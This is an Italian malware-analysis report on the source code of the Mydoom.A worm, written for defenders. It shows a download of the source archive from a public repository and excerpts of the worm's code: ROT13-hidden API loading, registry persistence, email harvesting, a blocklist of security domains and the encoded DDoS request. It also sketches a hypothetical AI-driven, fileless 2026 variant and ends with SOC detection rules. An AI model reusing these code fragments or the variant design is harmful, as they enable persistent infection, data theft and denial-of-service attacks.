REPORT THREAT INTELLIGENCE E WHITE-BOX CODE REVIEW

Oggetto: Dissezionamento, Analisi Forense e Prospettive Evolutive del Malware "Win32.Mydoom.A"
Dipartimento: Cyber Threat Intelligence (CTI) & Security Operations Center (SOC)
Analista: gruppo 5

---

1. EXECUTIVE SUMMARY E PROFILO DELLA MINACCIA

Il presente rapporto analizza il codice sorgente originale in linguaggio C/C++ del worm **Mydoom (Variante A)**, un'arma digitale decentralizzata apparsa nel 2004 che ha ridefinito il concetto di infezione globale. L'analisi "White-Box" (a scatola aperta) rivela un'architettura modulare progettata per la massima efficienza con il minimo ingombro: Mydoom si comporta come un vero e proprio framework malevolo indipendente.

Il Threat Actor (l'autore) ha progettato il codice per non fare affidamento sulle librerie standard di Windows per le operazioni di rete o di compressione. Il malware contiene un proprio resolver DNS, un client SMTP e un motore di archiviazione ZIP scritti da zero. L'obiettivo finale del software non era il semplice vandalismo, ma la creazione di una massiccia rete "zombie" (Botnet) finalizzata ad attacchi distribuiti e all'apertura di backdoor su scala globale.

---

2. METODOLOGIA FORENSE E SETUP DELL'AMBIENTE DI ANALISI

La manipolazione di sorgenti malevoli richiede rigide precauzioni operative, poiché i repository possono contenere script di auto-compilazione. L'indagine è stata condotta all'interno di una Sandbox logica isolata su ambiente Linux.

2.1 Acquisizione Sicura (Sandboxing) e Strumenti CLI

Per mantenere l'integrità forense e prevenire esecuzioni accidentali, l'acquisizione è avvenuta tramite strumenti a riga di comando (CLI), evitando l'uso di browser web che avrebbero potuto alterare i reperti tramite filtri di sicurezza locali (es.

SmartScreen).

```
┌──(kali㉿kali)-[~/Analisi_Mydoom]
└─$ wget https://github.com/akir4d/MalwareSourceCode/raw/main/Win32/Win32.Mydoom.a.7z
--2026-02-24 03:32:46--  https://github.com/akir4d/MalwareSourceCode/raw/main/Win32/Win32.Mydoom.a.7z
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/akir4d/MalwareSourceCode/main/Win32/Win32.Mydoom.a.7z [following]
--2026-02-24 03:32:46--  https://raw.githubusercontent.com/akir4d/MalwareSourceCode/main/Win32/Win32.Mydoom.a.7z
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133,
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 27019 (26K) [application/octet-stream]
Saving to: 'Win32.Mydoom.a.7z'

Win32.Mydoom.a.7z                                                   100%[═══════════════════]

2026-02-24 03:32:46 (14.0 MB/s) - 'Win32.Mydoom.a.7z' saved [27019/27019]
```

- **Isolamento:** Creazione di una Working Directory segregata (`mkdir Analisi_Mydoom`).
- **Acquisizione Headless:** Utilizzo di `wget` per il download non interattivo dell'archivio compresso.
- **Estrazione e Pattern Matching:** Impiego di `7z x` per l'estrazione e di `grep` per mappare le chiamate di sistema critiche (es. `CreateMutex`, `bind`) all'interno dei 29 file estratti (sorgenti `.c` e header `.h`).

```
┌──(kali㉿kali)-[~/Analisi_Mydoom/Win32.Mydoom.a]
└─$ ls
lib.c  main.c    massmail.c  msg.c  p2p.c       resource.ico  scan.c  sco.c  work    xdns.h  xsmtp.c  zipstore.c
lib.h  makefile  massmail.h  msg.h  _readme.txt  resource.rc   scan.h  sco.h  xdns.c  xproxy  xsmtp.h  zipstore.h

┌──(kali㉿kali)-[~/Analisi_Mydoom/Win32.Mydoom.a]
└─$ grep -in "CreateMutex" *.c
main.c:107:     CreateMutex(NULL, TRUE, tmp);
```

---

3. ANALISI ARCHITETTURALE E CODE REVIEW

3.1 Motore Core: Offuscamento e Dynamic API (`lib.c`)

Il livello di base del malware è progettato per evadere i controlli statici.

```
  HINSTANCE hWinInet;
  DWORD igcs_flags;
  char tmp[64];

  rot13(tmp, "jvavarg.qyy");                /* "wininet.dll" */
  hWinInet = GetModuleHandle(tmp);
  if (hWinInet == NULL || hWinInet == INVALID_HANDLE_VALUE) {
          hWinInet = LoadLibrary(tmp);
          if (hWinInet == NULL || hWinInet == INVALID_HANDLE_VALUE)
                  return 2;
```

- **Cifrario In-Memory:** L'algoritmo implementa manualmente un cifrario a sostituzione simmetrica (ROT13). Nessuna stringa sensibile (indirizzi IP, nomi di file, chiavi di registro) è scritta in chiaro sul disco. La decifratura avviene un istante prima dell'esecuzione nella memoria RAM.

- **Risoluzione Dinamica delle API:** Per nascondere le proprie capacità di rete, il malware decifra stringhe come "jvavarg.qyy" (che diventa `wininet.dll`) caricandole al volo tramite `LoadLibrary()`. Estraendo funzioni come `InternetGetConnectedState`, il codice maschera le sue reali intenzioni agli analisti che esaminano la Import Address Table (IAT) dell'eseguibile.

3.2 Autodifesa e Persistenza Stratificata (`main.c`, `xproxy.c`)

Per sopravvivere ai riavvii e prevenire l'autodistruzione del sistema ospite, Mydoom utilizza tecniche stratificate:

- **Mutex di Esclusione:** Crea un "Semaforo" (Mutex) decifrato come `SwebSipcSmtxS0`. Se una seconda istanza del worm tenta di avviarsi e rileva questo Mutex, si arresta immediatamente per evitare crash di sistema (Blue Screen) che allerterebbero l'utente.
- **Persistenza via Registro:** Decifra il percorso `Software\Microsoft\Windows\CurrentVersion\Run` e vi inserisce una copia di se stesso rinominata `TaskMon` (Task Monitor), camuffandosi da processo legittimo.

```
void sync_startup(struct sync_t *sync)
{
        HKEY k;
        char regpath[128];
        char valname[32];

        /* "Software\\Microsoft\\Windows\\CurrentVersion\\Run" */
        rot13(regpath, "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Eha");
        rot13(valname, "GnfxZba");      /* "TaskMon" */

        if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, regpath, 0, KEY_WRITE, &k) != 0)
                if (RegOpenKeyEx(HKEY_CURRENT_USER, regpath, 0, KEY_WRITE, &k) != 0)
                        return;
        RegSetValueEx(k, valname, 0, REG_SZ, sync->sync_instpath, lstrlen(sync->sync_instpath)+1);
        RegCloseKey(k);
}
```

- **Hijacking di Sistema:** Il modulo `shellsvc_attach` modifica i componenti CLSID di Windows, sostituendo librerie legittime come `Webcheck.dll` con il codice malevolo.

3.3 Data Theft e Email Harvesting (`scan.c`)

Mydoom opera come un "mietitore" (Harvester) di identità, non dipendendo da software di terze parti.

```
                if (fd->nFileSizeLow > (20*1024)) break;

        i = 1;                          /* parse as text file */
        if (lstrcmp(file_ext, "txt") == 0) {size_lim=80*1024; break; }
        if (xstrncmp(file_ext, "htmb", 3) == 0) break;
        if (xstrncmp(file_ext, "shtl", 3) == 0) break;
        if (xstrncmp(file_ext, "phpq", 3) == 0) break;
        if (xstrncmp(file_ext, "aspd", 3) == 0) break;
        if (xstrncmp(file_ext, "dbxn", 3) == 0) break;
```

- **Scansione Ricorsiva Globale:** Instanzia un processo a bassa priorità per scansionare silenziosamente i dischi locali (da C: a Z:), analizzando file `.txt`, `.htm`, `.php`, `.asp` e database di posta come `.dbx` alla ricerca del carattere `@`.
- **Furto della Rubrica:** Localizza e preleva contatti dal Windows Address Book (WAB) per sfruttare le catene di fiducia aziendali o personali.
- **Decodifica Anti-Spam:** Il codice riconverte attivamente i formati esadecimali o HTML (es. `mario&#64;azienda.com` o `mario%40azienda.com`) in normali `@`, vanificando le protezioni anti-scraping dei siti web.

3.4 Ingegneria Sociale e Vettori di Infezione (`msg.c`, `p2p.c`)

Il malware si diffonde manipolando la percezione visiva e psicologica della vittima.

- **Vettore Email (Double Extension):** L'hacker struttura finte comunicazioni amministrative ("Mail Delivery System"). L'allegato malevolo è nascosto tramite il trucco della doppia estensione (es. `document.htm .exe`), dove l'inserimento di decine di spazi bianchi spinge l'estensione `.exe` fuori dal campo visivo di Windows Explorer.
- **Vettore P2P:** Il malware si copia nella cartella di download del network Kazaa (`Software\Kazaa\Transfer`), rinominandosi con parole chiave ad alta conversione (es. `office_crack.exe`).

3.5 Architettura di Rete e Motori Proprietari (`xdns.c`, `xsmtp.c`, `zipstore.c`)

Per massimizzare il tasso di infezione, il worm elude l'infrastruttura della vittima.

- **Risoluzione DNS e SMTP Autonomi:** Il malware genera query UDP (Porta 53) per ottenere i Record MX dei domini bersaglio. Successivamente, avvia una connessione TCP (Porta 25) forgiando autonomamente i comandi SMTP (EHLO, MAIL FROM). Se fallisce, tenta attacchi a dizionario sui sottodomini (es. `mx.dominio.com`).
- **Motore ZIP Proprietario:** Per bypassare i firewall che bloccano nativamente i file `.exe`, il codice si auto-comprime. Essendo le librerie standard (es. `zlib`) facilmente rilevabili, l'autore ha scritto un generatore ZIP da zero, scrivendo in memoria le firme esadecimali (`0x04034b50`) e manipolando le date di creazione dei file per evadere le euristiche.
- **Blacklist Evasiva:** Il malware scarta proattivamente i domini legati alla cybersecurity (`avp`, `syma`) e ai governi (`.gov`, `.mil`) per ritardare l'analisi da parte dei laboratori specializzati.

```
static const char *nospam_domains[] = {
        "avp", "syma", "icrosof", "msn.", "hotmail", "panda",
        "sopho", "borlan", "inpris", "example", "mydomai", "nodomai",
        "ruslis", /*vi[ruslis]t */
        ".gov", "gov.", ".mil", "foo.",
```

3.6 Il Payload: Botnet, DoS e Backdoor (`sco.c`, `client.c`)

L'infezione è propedeutica all'apertura di un canale di controllo remoto.

- **Attacco DDoS:** In base a una data hardcodata, si attiva una Time-Bomb logica. Milioni di host lanciano simultaneamente 64 thread di richieste HTTP brute-force contro il server di SCO Group (`www.sco.com`), annientandone la disponibilità.
- **Proxy SOCKS4 e RCE:** Mydoom installa un server proxy silente sulle porte 3127-3198, permettendo all'attaccante di anonimizzare il proprio traffico. Inviando il byte speciale `SOCKS4_EXECBYTE` (`133`), il Threat Actor ottiene una Remote Code Execution, potendo forzare il computer a scaricare ulteriori payload.

```
 * "GET / HTTP/1.1\r\n"
 * "Host: www.sco.com\r\n"
 * "\r\n";
 */
"TRG / UGGC/1.1\r\n"
"Ubfg: " SCO_SITE_ROT13 "\r\n"
"\r\n");
```

---

4. SCENARIO DI INTELLIGENCE: ANALISI PREDITTIVA (VARIANTE 2026)

L'architettura analizzata funge da template. In uno scenario contemporaneo, una nuova variante non sarebbe una semplice evoluzione, ma applicherebbe un radicale cambiamento di paradigma (Code Diffing Teorico).

4.1 Propagazione Basata su IA e Cloud

Il motore di ingegneria sociale basato su stringhe fisse verrebbe sostituito da modelli linguistici (LLM) integrati. Il malware analizzerebbe i database SQLite delle chat locali per generare messaggi di Deep Phishing su Telegram o Slack, imitando il tono di voce dei contatti della vittima. Il modulo SMTP proprietario verrebbe deprecato in favore di API di servizi Cloud legittimi (AWS, Azure) per distribuire link a storage crittografati, bypassando i controlli sugli allegati.

4.2 Evasione Avanzata e Persistenza "Fileless"

Il Mutex hardcodato e le chiavi di registro esplicite rappresentano oggi vulnerabilità per il malware. La variante 2026 adotterebbe un approccio "Fileless": il codice verrebbe iniettato direttamente in memoria (Process Hollowing) all'interno di processi nativi come `svchost.exe` o `lsass.exe`. Il cifrario ROT13 verrebbe sostituito da crittografia polimorfica (AES/RSA) con chiavi generate dinamicamente, mutando l'hash del file a ogni infezione.

4.3 Comando (C2) Decentralizzato e Payload 2.0

Il controllo remoto su porte TCP fisse verrebbe bloccato istantaneamente dai firewall moderni. L'infrastruttura di Comando e Controllo (C2) si appoggerebbe su reti Blockchain, protocolli IPFS o steganografia (comandi nascosti nei pixel delle immagini sui social media), rendendo il "cervello" della Botnet non censurabile. Il payload non si limiterebbe a un DDoS verso un singolo sito web, ma verrebbe convertito in un'arma a doppio taglio: DDoS-for-hire contro infrastrutture critiche (nodi di validazione finanziaria, grid energetiche) combinato a moduli Ransomware per l'estorsione diretta.

---

5. REMEDIATION STRATEGICA E REGOLE SOC

In base all'analisi comportamentale (Behavioral Analysis) estratta dal codice sorgente, le difese non devono basarsi su hash statici, ma sull'intercettazione delle TTPs (Tactics, Techniques, and Procedures).

1. **Network Security (Firewall/IDS):**
    - Applicazione di regole di blocco (Drop) rigide sul traffico TCP in uscita verso la Porta 25 originato dagli endpoint. Solo i Mail Server autorizzati (es. Exchange) devono instradare traffico SMTP esterno.
    - Implementazione di Rate-Limiting e Deep Packet Inspection (DPI) sulle query DNS (UDP 53) per rilevare picchi anomali di richieste di tipo `MX` provenienti da singoli client.
2. **Endpoint Security (YARA/EDR):**
    - Creazione di regole YARA progettate per rilevare in memoria combinazioni di algoritmi di traslazione sospetti associati a chiamate API come `CreateMutexA` o `VirtualAllocEx` (per i tentativi di injection).
    - Monitoraggio comportamentale rigido sui processi senza privilegi elevati che tentano di accedere in lettura a file di cache email (`.ost`, `.pst`) o database di browser.
3. **Email Gateway (Anti-Phishing):**
    - Hardening delle policy di ispezione MIME: blocco immediato per gli allegati che presentano incongruenze tra l'estensione dichiarata (es.

`.htm`) e i Magic Bytes reali dell'intestazione (es. `MZ` per eseguibili, `PK` per ZIP non conformi allo standard RFC).
